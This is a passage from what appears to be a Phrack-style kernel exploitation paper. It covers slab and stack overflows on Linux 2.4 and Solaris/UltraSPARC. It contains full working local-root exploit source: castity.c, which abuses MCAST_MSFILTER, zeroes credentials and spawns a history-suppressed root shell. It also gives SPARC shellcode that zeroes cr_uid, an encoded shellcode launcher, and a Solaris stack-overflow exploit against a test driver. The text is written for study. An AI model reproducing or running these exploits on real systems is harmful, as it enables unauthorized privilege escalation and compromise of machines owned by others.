At that point the gsf pointer points to the first object inside our freshly created slab. Objects 2 and 3 haven't been re‑used yet, so still contains our data. Since the objects inside the slab are adiacent we have a de‑facto larger (and large enough) gsf struct to reach the 'shm_file' pointer.

Last note, to reliably fill the slabs we check /proc/slabinfo.

The exploit, called castity.c, was written when the advisory went out, and is only for 2.4.* kernels (the sys_epoll vulnerability [12] was more than enough for 2.6.* ones ;) )

Exploit follows, just without the initial header, since the approach has been already extensively explained above.

< stuff/expl/linux/castity.c >

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/shm.h>

#include <sys/socket.h>

#include <sys/resource.h>

#include <sys/wait.h>

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <signal.h>

#include <errno.h>

#define __u32 unsigned int

#define MCAST_MSFILTER 48

#define SOL_IP 0

#define SIZE 4096

#define R_FILE "/etc/passwd" // Set it to whatever file you

can read. It's just for 1024 filling.

struct in_addr {

unsigned int s_addr;

};

#define __SOCK_SIZE__ 16

struct sockaddr_in {

unsigned short sin_family; /* Address family */

unsigned short int sin_port; /* Port number */

struct in_addr sin_addr; /* Internet address */

/* Pad to size of `struct sockaddr'. */

unsigned char __pad[__SOCK_SIZE__ ‑ sizeof(short int) sizeof(unsigned short int) ‑ sizeof(struct in_addr)];

};

struct group_filter

{

__u32 gf_interface; /* interface index */

struct sockaddr_storage gf_group; /* multicast address */

__u32 gf_fmode; /* filter mode */

__u32 gf_numsrc; /* number of sources */

struct sockaddr_storage gf_slist[1]; /* interface index */

};

struct damn_inode {

void *a, *b;

void *c, *d;

void *e, *f;

void *i, *l;

unsigned long size[40]; // Yes, somewhere here :‑)

} le;

struct dentry_suck {

unsigned int count, flags;

void *inode;

void *dd;

} fucking = { 0xbad, 0xbad, &le, NULL };

struct fops_rox {

void *a, *b, *c, *d, *e, *f, *g;

void *mmap;

void *h, *i, *l, *m, *n, *o, *p, *q, *r; void *get_unmapped_area;

} chien;

struct file_fuck {

void *prev, *next;

void *dentry;

void *mnt;

void *fop;

} gagne = { NULL, NULL, &fucking, NULL, &chien };

static char stack[16384];

int gotsig = 0,

fillup_1024 = 0,

fillup_64 = 0,

uid, gid;

int *pid, *shmid;

static void sigusr(int b)

{

gotsig = 1;

}

void fatal (char *str)

{

fprintf(stderr, "[‑] %s\n", str); exit(EXIT_FAILURE);

}

#define BUFSIZE 256

int calculate_slaboff(char *name)

{

FILE *fp;

char slab[BUFSIZE], line[BUFSIZE];

int ret;

/* UP case */

int active_obj, total;

bzero(slab, BUFSIZE);

bzero(line, BUFSIZE);

fp = fopen("/proc/slabinfo", "r");

if ( fp == NULL )

fatal("error opening /proc for slabinfo");

fgets(slab, sizeof(slab) ‑ 1, fp);

do {

ret = 0;

if (!fgets(line, sizeof(line) ‑ 1, fp)) break;

ret = sscanf(line, "%s %u %u", slab, &active_obj, &total); } while (strcmp(slab, name));

close(fileno(fp));

fclose(fp);

return ret == 3 ? total ‑ active_obj : ‑1;

}

int populate_1024_slab()

{

int fd[252];

int i;

signal(SIGUSR1, sigusr);

for ( i = 0; i < 252 ; i++)

fd[i] = open(R_FILE, O_RDONLY);

while (!gotsig)

pause();

gotsig = 0;

for ( i = 0; i < 252; i++)

close(fd[i]);

}

int kernel_code()

{

int i, c;

int *v;

__asm__("movl %%esp, %0" : : "m" (c));

c &= 0xffffe000;

v = (void *) c;

for (i = 0; i < 4096 / sizeof(*v) ‑ 1; i++) { if (v[i] == uid && v[i+1] == uid) { i++; v[i++] = 0; v[i++] = 0; v[i++] = 0; }

if (v[i] == gid) {

v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0; return ‑1;

}

}

return ‑1;

}

void prepare_evil_file ()

{

int i = 0;

chien.mmap = &kernel_code ; // just to pass do_mmap_pgoff check

chien.get_unmapped_area = &kernel_code;

/*

* First time i run the exploit i was using a precise offset for * size, and i calculated it _wrong_. Since then my lazyness took * over and i use that ""very clean"" *g* approach.

* Why i'm telling you ? It's 3 a.m., i don't find any better than * writing blubbish comments

*/

for ( i = 0; i < 40; i++)

le.size[i] = SIZE;

}

#define SEQ_MULTIPLIER 32768

void prepare_evil_gf ( struct group_filter *gf, int id )

{

int filling_space = 64 ‑ 4 * sizeof(int); int i = 0;

struct sockaddr_in *sin;

filling_space /= 4;

for ( i = 0; i < filling_space; i++ )

{

sin = (struct sockaddr_in *)&gf‑>gf_slist[i]; sin‑>sin_family = AF_INET; sin‑>sin_addr.s_addr = 0x41414141;

}

/* Emulation of struct kern_ipc_perm */

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = IPC_PRIVATE;

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = uid;

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = gid;

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = uid;

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = gid;

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = ‑1;

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = id/SEQ_MULTIPLIER;

/* evil struct file address */

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = AF_INET;

sin‑>sin_addr.s_addr = (unsigned long)&gagne;

/* that will stop mcast loop */

sin = (struct sockaddr_in *)&gf‑>gf_slist[i++]; sin‑>sin_family = 0xbad;

sin‑>sin_addr.s_addr = 0xdeadbeef;

return;

}

void cleanup ()

{

int i = 0;

struct shmid_ds s;

for ( i = 0; i < fillup_1024; i++ )

{

kill(pid[i], SIGUSR1); waitpid(pid[i], NULL, __WCLONE);

}

for ( i = 0; i < fillup_64 ‑ 2; i++ ) shmctl(shmid[i], IPC_RMID, &s);

}

#define EVIL_GAP 4

#define SLAB_1024 "size‑1024"

#define SLAB_64 "size‑64"

#define OVF 21

#define CHUNKS 1024

#define LOOP_VAL 0x4000000f

#define CHIEN_VAL 0x4000000b

main()

{

int sockfd, ret, i;

unsigned int true_alloc_size, last_alloc_chunk, loops; char *buffer;

struct group_filter *gf;

struct shmid_ds s;

char *argv[] = { "le‑chien", NULL };

char *envp[] = { "TERM=linux", "PS1=le‑chien\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL };

true_alloc_size = sizeof(struct group_filter) ‑ sizeof(struct sockaddr_storage) + sizeof(struct sockaddr_storage) * OVF; sockfd = socket(AF_INET, SOCK_STREAM, 0);

uid = getuid();

gid = getgid();

gf = malloc (true_alloc_size);

if ( gf == NULL )

fatal("Malloc failure\n");

gf‑>gf_interface = 0;

gf‑>gf_group.ss_family = AF_INET;

fillup_64 = calculate_slaboff(SLAB_64);

if ( fillup_64 == ‑1 )

fatal("Error calculating slab fillup\n");

printf("[+] Slab %s fillup is %d\n", SLAB_64, fillup_64);

/* Yes, two would be enough, but we have that "sexy" #define, why

don't use it ? :‑) */

fillup_64 += EVIL_GAP;

shmid = malloc(fillup_64 * sizeof(int));

if ( shmid == NULL )

fatal("Malloc failure\n");

/* Filling up the size‑64 and obtaining a new page with EVIL_GAP

entries */

for ( i = 0; i < fillup_64; i++ )

shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT|SHM_R);

prepare_evil_file();

prepare_evil_gf(gf, shmid[fillup_64 ‑ 1]);

buffer = (char *)gf;

fillup_1024 = calculate_slaboff(SLAB_1024);

if ( fillup_1024 == ‑1 )

fatal("Error calculating slab fillup\n");

printf("[+] Slab %s fillup is %d\n", SLAB_1024, fillup_1024);

fillup_1024 += EVIL_GAP;

pid = malloc(fillup_1024 * sizeof(int));

if (pid == NULL )

fatal("Malloc failure\n");

for ( i = 0; i < fillup_1024; i++)

pid[i] = clone(populate_1024_slab, stack + sizeof(stack) 4, 0, NULL);

printf("[+] Attempting to trash size‑1024 slab\n");

/* Here starts the loop trashing size‑1024 slab */

last_alloc_chunk = true_alloc_size % CHUNKS;

loops = true_alloc_size / CHUNKS;

gf‑>gf_numsrc = LOOP_VAL;

printf("[+] Last size‑1024 chunk is of size %d\n", last_alloc_chunk);

printf("[+] Looping for %d chunks\n", loops);

kill(pid[‑‑fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE);

if ( last_alloc_chunk > 512 )

ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + loops * CHUNKS, last_alloc_chunk);

else

/*

* Should never happen. If it happens it probably means that we've * bigger datatypes (or slab‑size), so probably

* there's something more to "fix me". The while loop below is * already okay for the eventual fixing ;)

*/

fatal("Last alloc chunk fix me\n");

while ( loops > 1 )

{

kill(pid[‑‑fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE);

ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + ‑‑loops * CHUNKS, CHUNKS);

}

/* Let's the real fun begin */

gf‑>gf_numsrc = CHIEN_VAL;

kill(pid[‑‑fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE);

shmctl(shmid[fillup_64 ‑ 2], IPC_RMID, &s); setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer, CHUNKS);

cleanup();

ret = (unsigned long)shmat(shmid[fillup_64 ‑ 1], NULL, SHM_RDONLY);

if ( ret == ‑1)

{

printf("Le Fucking Chien GAGNE!!!!!!!\n"); setresuid(0, 0, 0);

setresgid(0, 0, 0); execve("/bin/sh", argv, envp); exit(0);

}

printf("Here we are, something sucked :/ (if not L1_cache too big, probably slab align, retry)\n" );

}

< / >

‑‑‑‑‑‑[ 2.3 ‑ Stack overflow vulnerabilities

When a process is in 'kernel mode' it has a stack which is different from the stack it uses at userland. We'll call it 'kernel stack'.

That kernel stack is usually limited in size to a couple of pages (on Linux, for example, it is 2 pages, 8kb, but an option at compile time exist to have it limited at one page) and is not a surprise that a common design practice in kernel code developing is to use locally to a function as little stack space as possible.

At a first glance, we can imagine two different scenarios that could go under the name of 'stack overflow vulnerabilities' :

‑ 'standard' stack overflow vulnerability : a write past a buffer on the stack overwrites the saved instruction pointer or the frame pointer (Solaris only, Linux is compiled with ‑fomit‑frame‑pointer) or some variable (usually a pointer) also located in the stack.

‑ 'stack size overflow' : a deeply nested callgraph goes further the alloc'ed stack space.

Stack based explotation is more architectural and o.s. specific than the already presented slab based one.

That is due to the fact that once the stack is trashed we achieve execution flow hijack, but then we must find a way to somehow return to userland. We con't cover here the details of x86 architecture, since those have been already very well explained by noir in his phrack60 paper [13].

We will instead focus on the UltraSPARC architecture and on its more common operating system, Solaris. The next subsection will describe the relevant details of it and will present a technique which is suitable aswell for the exploiting of slab based overflow (or, more generally, whatever 'controlled flow redirection' vulnerability).

The AMD64 architecture won't be covered yet, since it will be our 'example architecture' for the next kind of vulnerabilities (race condition). The sendmsg [5] exploit proposed later on is, at the end, a stack based one.

Just before going on with the UltraSPARC section we'll just spend a couple of words describing the return‑to‑ring3 needs on an x86 architecture and the Linux use of the kernel stack (since it quite differs from the Solaris one).

Linux packs together the stack and the struct associated to every process in the system (on Linux 2.4 it was directly the task_struct, on Linux 2.6 it is the thread_info one, which is way smaller and keeps inside a pointer to the task_struct). This memory area is, by default, 8 Kb (a kernel option exist to have it limited to 4 Kb), that is the size of two pages, which are allocated consecutively and with the first one aligned to a 2^13 multiple. The address of the thread_struct (or of the task_struct) is thus calculable at runtime by masking out the 13 least significant bits of the Kernel Stack (%esp).

The stack starts at the bottom of this page and 'grows' towards the top, where the thread_info (or the task_struct) is located. To prevent the 'second' type of overflow when the 4 Kb Kernel Stack is selected at compile time, the kernel uses two adjunctive per‑CPU stacks, one for interrupt handling and one for softirq and tasklets functions, both one page sized.

It is obviously on the stack that Linux stores all the information to return from exceptions, interrupts or function calls and, logically, to get back to ring3, for example by means of the iret instruction. If we want to use the 'iret' instruction inside our shellcodes to get out cleanly from kernel land we have to prepare a fake stack frame as it expects to find.

We have to supply:

‑ a valid user space stack pointer

‑ a valid user space instruction pointer

‑ a valid EFLAGS saved EFLAGS register

‑ a valid User Code Segment

‑ a valid User Stack Segment

LOWER ADDRESS

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| User SS | ‑+

| User ESP | |

| EFLAGS | | Fake Iret Frame

| User CS | |

| User EIP | ‑+ <‑‑‑‑‑ current kernel stack pointer (ESP) | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

We've added a demonstrative stack based exploit (for the Linux dummy driver) which implements a shellcode doing that recovery‑approach :

movl $0x7b,0x10(%esp) // user stack segment (SS)

movl $stack_chunk,0xc(%esp) // user stack pointer (ESP)

movl $0x246,0x8(%esp) // valid EFLAGS saved register

movl $0x73,0x4(%esp) // user code segment (CS)

movl $code_chunk,0x0(%esp) // user code pointer (EIP)

iret

You can find it in < expl/linux/stack_based.c >

‑‑‑[ 2.3.1 ‑ UltraSPARC exploiting

The UltraSPARC [14] is a full implementation of the SPARC V9 64‑bit [2] architecture. The most 'interesting' part of it from an exploiting perspective is the support it gives to the operating system for a fully separated address space among userspace and kernelspace.

This is achieved through the use of context registers and address space identifiers 'ASI'. The UltraSPARC MMU provides two settable context registers, the primary (PContext) and the secondary (SContext) one. One more context register hardwired to zero is provided, which is the nucleus context ('context' 0 is where the kernel lives).

To every process address space is associated a 'context value', which is set inside the PContext register during process execution. This value is used to perform memory addresses translation.

Every time a process issues a trap instruction to access kernel land (for example ta 0x8 or ta 0x40, which is how system call are implemented on Solaris 10), the nucleus context is set as default. The process context value (as recorded inside PContext) is then moved to SContext, while the nucleus context becomes the 'primary context'.

At that point the kernel code can access directly the userland by specifying the correct ASI to a load or store alternate instruction (instructions that support a direct asi immediate specified ‑ lda/sta). Address Space Identifiers (ASIs) basically specify how those instruction have to behave :

< usr/src/uts/sparc/v9/sys/asi.h >

#define ASI_N 0x04 /* nucleus */

#define ASI_NL 0x0C /* nucleus little */

#define ASI_AIUP 0x10 /* as if user primary */

#define ASI_AIUS 0x11 /* as if user secondary */

#define ASI_AIUPL 0x18 /* as if user primary little */

#define ASI_AIUSL 0x19 /* as if user secondary little */

[...]

#define ASI_USER ASI_AIUS

< / >

Theese are ASI that are specified by the SPARC v9 reference (more ASI are machine dependant and let modify, for example, MMU or other hardware registers, check usr/src/uts/sun4u/sys/machasi.h), the 'little' version is just used to specify a byte ordering access different from the 'standard' big endian one (SPARC v9 can access data in both formats).

The ASI_USER is the one used to access, from kernel land, the user space. An instruction like :

ldxa [addr]ASI_USER, %l1

would just load the double word stored at 'addr', relative to the address space contex stored in the SContext register, 'as if' it was accessed by userland code (so with all protection checks).

It is thus possible, if able to start executing a minimal stub of code, to copy bytes from the userland wherever we want at kernel land.

But how do we execute code at first ? Or, to make it even more clearer, where do we return once we have performed our (slab/stack) overflow and hijacked the instruction pointer ?

To complicate things a little more, the UltraSPARC architecture implements the execution bit permission over TTEs (Translation Table Entry, which are the TLB entries used to perform virtual/physical translations).

It is time to give a look at Solaris Kernel implementation to find a solution. The technique we're going to present now (as you'll quickly figure out) is not limited to stack based exploiting, but can be used every time you're able to redirect to an arbitrary address the instruction flow at kernel land.

‑‑‑] 2.3.2 ‑ A reliable Solaris/UltraSPARC exploit

The Solaris process model is slightly different from the Linux one. The foundamental unit of scheduling is the 'kernel thread' (described by the kthread_t structure), so one has to be associated to every existing LWP (light‑weight process) in a process.

LWPs are just kernel objects which represent the 'kernel state' of every 'user thread' inside a process and thus let each one enter the kernel indipendently (without LWPs, user thread would contend at system call).

The information relative to a 'running process' are so scattered among different structures. Let's see what we can make out of them. Every Operating System (and Solaris doesn't differ) has a way to quickly get the 'current running process'. On Solaris it is the 'current kernel thread' and it's obtained, on UltraSPARC, by :

#define curthread (threadp())

< usr/src/uts/sparc/ml/sparc.il >

! return current thread pointer

.inline threadp,0

.register %g7, #scratch

mov %g7, %o0

.end

< / >

It is thus stored inside the %g7 global register.

From the kthread_t struct we can access all the other 'process related' structs. Since our main purpose is to raise privileges we're interested in where the Solaris kernel stores process credentials.

Those are saved inside the cred_t structure pointed to by the proc_t one :

# mdb ‑k

Loading modules: [ unix krtld genunix ip usba nfs random ptm ]

> ::ps ! grep snmpdx

R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t

{

p_exec = 0x30000e5b5a8

p_as = 0x300008bae48

p_lockp = 0x300006167c0

p_crlock = {

_opaque = [ 0 ]

}

p_cred = 0x3000026df28

[...]

> 0x3000026df28::print cred_t

{

cr_ref = 0x67b

cr_uid = 0

cr_gid = 0

cr_ruid = 0

cr_rgid = 0

cr_suid = 0

cr_sgid = 0

cr_ngroups = 0

cr_groups = [ 0 ]

}

> ::offsetof proc_t p_cred

offsetof (proc_t, p_cred) = 0x20

> ::quit

#

The '::ps' dcmd ouput introduces a very interesting feature of the Solaris Operating System, which is a god‑send for exploiting.

The address of the proc_t structure in kernel land is exported to userland :

bash‑2.05$ ps ‑aef ‑o addr,comm | grep snmpdx

30000e67488 /usr/lib/snmp/snmpdx

bash‑2.05$

At a first glance that could seem of not great help, since, as we said, the kthread_t struct keeps a pointer to the related proc_t one :

> ::offsetof kthread_t t_procp

offsetof (kthread_t, t_procp) = 0x118

> ::ps ! grep snmpdx

R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t p_tlist

p_tlist = 0x30000e52800

> 0x30000e52800::print kthread_t t_procp

t_procp = 0x30000e67488

>

To understand more precisely why the exported address is so important we have to take a deeper look at the proc_t structure.

This structure contains the user_t struct, which keeps information like the program name, its argc/argv value, etc :

> 0000030000e67488::print proc_t p_user

[...]

p_user.u_ticks = 0x95c

p_user.u_comm = [ "snmpdx" ]

p_user.u_psargs = [ "/usr/lib/snmp/snmpdx ‑y ‑c /etc/snmp/conf" ] p_user.u_argc = 0x4

p_user.u_argv = 0xffbffcfc

p_user.u_envp = 0xffbffd10

p_user.u_cdir = 0x3000063fd40

[...]

We can control many of those.

Even more important, the pages that contains the process_cache (and thus the user_t struct), are not marked no‑exec, so we can execute from there (for example the kernel stack, allocated from the seg_kp [kernel pageable memory] segment, is not executable).

Let's see how 'u_psargs' is declared :

< usr/src/common/sys/user.h >

#define PSARGSZ 80 /* Space for exec arguments (used by

ps(1)) */

#define MAXCOMLEN 16 /* <= MAXNAMLEN, >= sizeof (ac_comm) */

[...]

typedef struct user {

/*

* These fields are initialized at process creation time and never * modified. They can be accessed without acquiring locks. */

struct execsw *u_execsw; /* pointer to exec switch entry */

auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */

timestruc_t u_start; /* hrestime at process start */

clock_t u_ticks; /* lbolt at process start */

char u_comm[MAXCOMLEN + 1]; /* executable file name from exec

*/

char u_psargs[PSARGSZ]; /* arguments from exec */

int u_argc; /* value of argc passed to main()

*/

uintptr_t u_argv; /* value of argv passed to main()

*/

uintptr_t u_envp; /* value of envp passed to main()

*/

[...]

< / >

The idea is simple : we put our shellcode on the command line of our exploit (without 'zeros') and we calculate from the exported proc_t address the exact return address.

This is enough to exploit all those situations where we have control of the execution flow _without_ trashing the stack (function pointer overwriting, slab overflow, etc).

We have to remember to take care of the alignment, thou, since the UltraSPARC fetch unit raises an exception if the address it reads the instruction from is not aligned on a 4 bytes boundary (which is the size of every sparc instruction) :

> ::offsetof proc_t p_user

offsetof (proc_t, p_user) = 0x330

> ::offsetof user_t u_psargs

offsetof (user_t, u_psargs) = 0x161

>

Since the proc_t taken from the 'process cache' is always aligned to an 8 byte boundary, we have to jump 3 bytes after the starting of the u_psargs char array (which is where we'll put our shellcode).

That means that we have space for 76 / 4 = 19 instructions, which is usually enough for average shellcodes.. but space is not really a limit since we can 'chain' more psargs struct from different processes, simply jumping from each others. Moreover we could write a two stage shellcode that would just start copying over our larger one from the userland using the load from alternate space instructions presented before.

We're now facing a slightly more complex scenario, thou, which is the 'kernel stack overflow'. We assume here that you're somehow familiar with userland stack based exploiting (if you're not you can check [15] and [16]).

The main problem here is that we have to find a way to safely return to userland once trashed the stack (and so, to reach the instruction pointer, the frame pointer). A good way to understand how the 'kernel stack' is used to return to userland is to follow the path of a system call. You can get a quite good primer here [17], but we think that a read through opensolaris sources is way better (you'll see also, following the sys_trap entry in uts/sun4u/ml/mach_locore.s, the code setting the nucleus context as the PContext register).

Let's focus on the 'kernel stack' usage :

< usr/src/uts/sun4u/ml/mach_locore.s >

ALTENTRY(user_trap)

!

! user trap

!

! make all windows clean for kernel

! buy a window using the current thread's stack

!

sethi %hi(nwin_minus_one), %g5

ld [%g5 + %lo(nwin_minus_one)], %g5

wrpr %g0, %g5, %cleanwin

CPU_ADDR(%g5, %g6)

ldn [%g5 + CPU_THREAD], %g5

ldn [%g5 + T_STACK], %g6

sub %g6, STACK_BIAS, %g6

save %g6, 0, %sp

< / >

In %g5 is saved the number of windows that are 'implemented' in the architecture minus one, which is, in that case, 8 ‑ 1 = 7. CLEANWIN is set to that value since there are no windows in use out of the current one, and so the kernel has 7 free windows to use.

The cpu_t struct addr is then saved in %g5 (by CPU_ADDR) and, from there, the thread pointer [ cpu_t‑>cpu_thread ] is obtained.

From the kthread_t struct is obtained the 'kernel stack address' [the member name is called t_stk]. This one is a good news, since that member is easy accessible from within a shellcode (it's just a matter of correctly accessing the %g7 / thread pointer). From now on we can follow the sys_trap path and we'll be able to figure out what we will find on the stack just after the kthread_t‑>t_stk value and where.

To that value is then subtracted 'STACK_BIAS' : the 64‑bit v9 SPARC ABI specifies that the %fp and %sp register are offset by a constant, the stack bias, which is 2047 bits. This is one thing that we've to remember while writing our 'stack fixup' shellcode.

On 32‑bit running kernels the value of this constant is 0.

The save below is another good news, because that means that we can use the t_stk value as a %fp (along with the 'right return address') to return at 'some valid point' inside the syscall path (and thus let it flow from there and cleanily get back to userspace).

The question now is : at which point ? Do we have to 'hardcode' that return address or we can somehow gather it ?

A further look at the syscall path reveals that :

ENTRY_NP(utl0)

SAVE_GLOBALS(%l7)

SAVE_OUTS(%l7)

mov %l6, THREAD_REG

wrpr %g0, PSTATE_KERN, %pstate ! enable ints jmpl %l3, %o7 ! call trap handler mov %l7, %o0

And, that %l3 is :

have_win:

SYSTRAP_TRACE(%o1, %o2, %o3)

!

! at this point we have a new window we can play in, ! and %g6 is the label we want done to bounce to

!

! save needed current globals

!

mov %g1, %l3 ! pc

mov %g2, %o1 ! arg #1

mov %g3, %o2 ! arg #2

srlx %g3, 32, %o3 ! pseudo arg #3

srlx %g2, 32, %o4 ! pseudo arg #4

%g1 was preserved since :

#define SYSCALL(which) \ TT_TRACE(trace_gen) ;\

set (which), %g1 ;\

ba,pt %xcc, sys_trap ;\

sub %g0, 1, %g4 ;\

.align 32

and so it is syscall_trap for LP64 syscall and syscall_trap32 for ILP32 syscall. Let's check if the stack layout is the one we expect to find :

> ::ps ! grep snmp

R 291 1 291 291 0 0x00020008 0000030000db4060 snmpXdmid R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > ::ps ! grep snmpdx

R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > 0000030000d2f488::print proc_t p_tlist

p_tlist = 0x30001dd4800

> 0x30001dd4800::print kthread_t t_stk

t_stk = 0x2a100497af0 ""

> 0x2a100497af0,16/K

0x2a100497af0: 1007374 2a100497ba0 30001dd2048 1038a3c 1449e10 0 30001dd4800 2a100497ba0 ffbff700 3 3a980 0 3a980 0 ffbff6a0 ff1525f0 0 0 0 0 0 0

> syscall_trap32=X

1038a3c

>

Analyzing the 'stack frame' we see that the saved %l6 is exactly THREAD_REG (the thread value, 30001dd4800) and %l3 is 1038a3c, the syscall_trap32 address.

At that point we're ready to write our 'shellcode' :

# cat sparc_stack_fixup64.s

.globl begin

.globl end

begin:

ldx [%g7+0x118], %l0

ldx [%l0+0x20], %l1

st %g0, [%l1 + 4]

ldx [%g7+8], %fp

ldx [%fp+0x18], %i7

sub %fp,2047,%fp

add 0xa8, %i7, %i7

ret

restore

end:

#

At that point it should be quite readable : it gets the t_procp address from the kthread_t struct and from there it gets the p_cred addr. It then sets to zero (the %g0 register is hardwired to zero) the cr_uid member of the cred_t struct and uses the kthread_t‑>t_stk value to set %fp. %fp is then dereferenced to get the 'syscall_trap32' address and the STACK_BIAS subtraction is then performed.

The add 0xa8 is the only hardcoded value, and it's the 'return place' inside syscall_trap32. You can quickly derive it from a ::findstack dcmd with mdb. A more advanced shellcode could avoid this 'hardcoded value' by opcode scanning from the start of the syscall_trap32 function and looking for the jmpl %reg,%o7/nop sequence (syscall_trap32 doesn't get a new window, and stays in the one sys_trap had created) pattern.

On all the boxes we tested it was always 0xa8, that's why we just left it hardcoded.

As we said, we need the shellcode to be into the command line, 'shifted' of 3 bytes to obtain the correct alignment. To achieve that a simple launcher code was used :

bash‑2.05$ cat launcer_stack.c

#include <unistd.h>

char sc[] = "\x66\x66\x66" // padding for alignment

"\xe0\x59\xe1\x18\xe2\x5c\x20\x20\xc0\x24\x60\x04\xfc\x59\xe0" "\x08\xfe\x5f\xa0\x18\xbc\x27\xa7\xff\xbe\x07\xe0\xa8\x81" "\xc7\xe0\x08\x81\xe8\x00\x00";

int main()

{

execl("e", sc, NULL);

return 0;

}

bash‑2.05$

The shellcode is the one presented before.

Before showing the exploit code, let's just paste the vulnerable code, from the dummy driver provided for Solaris :

< stuff/drivers/solaris/test.c >

[...]

static int handle_stack (intptr_t arg)

{

char buf[32];

struct test_comunique t_c;

ddi_copyin((void *)arg, &t_c, sizeof(struct test_comunique), 0);

cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n", t_c.size, &buf);

ddi_copyin((void *)t_c.addr, buf, t_c.size, 0); [1]

return 0;

}

static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode, cred_t *cred_p, int *rval_p )

{

cmn_err(CE_CONT, "ioctl called : cred %d %d\n", cred_p‑>cr_uid, cred_p‑>cr_gid);

switch ( cmd )

{

case TEST_STACKOVF: {

handle_stack(arg);

}

[...]

< / >

The vulnerability is quite self explanatory and is a lack of 'input sanitizing' before calling the ddi_copyin at [1].

Exploit follows :

< stuff/expl/solaris/e_stack.c >

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include "test.h"

#define BUFSIZ 192

char buf[192];

typedef struct psinfo {

int pr_flag; /* process flags */

int pr_nlwp; /* number of lwps in process */

pid_t pr_pid; /* unique process id */

pid_t pr_ppid; /* process id of parent */

pid_t pr_pgid; /* pid of process group leader */

pid_t pr_sid; /* session id */

uid_t pr_uid; /* real user id */

uid_t pr_euid; /* effective user id */

gid_t pr_gid; /* real group id */

gid_t pr_egid; /* effective group id */

uintptr_t pr_addr; /* address of process */

size_t pr_size; /* size of process image in Kbytes */

} psinfo_t;

#define ALIGNPAD 3

#define PSINFO_PATH "/proc/self/psinfo"

unsigned long getaddr()

{

psinfo_t info;

int fd;

fd = open(PSINFO_PATH, O_RDONLY);

if ( fd == ‑1)

{

perror("open");

return ‑1;

}

read(fd, (char *)&info, sizeof (info));

close(fd);

return info.pr_addr;

}

#define UPSARGS_OFFSET 0x330 + 0x161

int exploit_me()

{

char *argv[] = { "princess", NULL };

char *envp[] = { "TERM=vt100", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL };

printf("Pleased to see you, my Princess\n"); setreuid(0, 0);

setregid(0, 0);

execve("/bin/sh", argv, envp);

exit(0);

}

#define SAFE_FP 0x0000000001800040 + 1

#define DUMMY_FILE "/tmp/test"

int main()

{

int fd;

int ret;

struct test_comunique t;

unsigned long *pbuf, retaddr, p_addr;

memset(buf, 'A', BUFSIZ);

p_addr = getaddr();

printf("[*] ‑ Using proc_t addr : %p \n", p_addr);

retaddr = p_addr + UPSARGS_OFFSET + ALIGNPAD;

printf("[*] ‑ Using ret addr : %p\n", retaddr);

pbuf = &buf[32];

pbuf += 2;

/* locals */

for ( ret = 0; ret < 14; ret++ )

*pbuf++ = 0xBBBBBBBB + ret;

*pbuf++ = SAFE_FP;

*pbuf = retaddr ‑ 8;

t.size = sizeof(buf);

t.addr = buf;

fd = open(DUMMY_FILE, O_RDONLY);

ret = ioctl(fd, 1, &t);

printf("fun %d\n", ret);

exploit_me();

close(fd);

}

< / >

The exploit is quite simple (we apologies, but we didn't have a public one to show at time of writing) :

‑ getaddr() uses procfs exported psinfo data to get the proc_t address of the running process.

‑ the return addr is calculated from proc_t addr + the offset of the u_psargs array + the three needed bytes for alignment

‑ SAFE_FP points just 'somewhere in the data segment' (and ready to be biased for the real dereference). Due to SPARC window mechanism we have to provide a valid address that it will be used to 'load' the saved procedure registers upon re‑entering. We don't write on that address so whatever readable kernel part is safe. (in more complex scenarios you could have to write over too, so take care).

‑ /tmp/test is just a link to the /devices/pseudo/test@0:0 file

‑ the exploit has to be compiled as a 32‑bit executable, so that the syscall_trap32 offset is meaningful

You can compile and test the driver on your boxes, it's really simple. You can extend it to test more scenarios, the skeleton is ready for it.

‑‑‑‑‑‑[ 2.4 ‑ A primer on logical bugs : race conditions

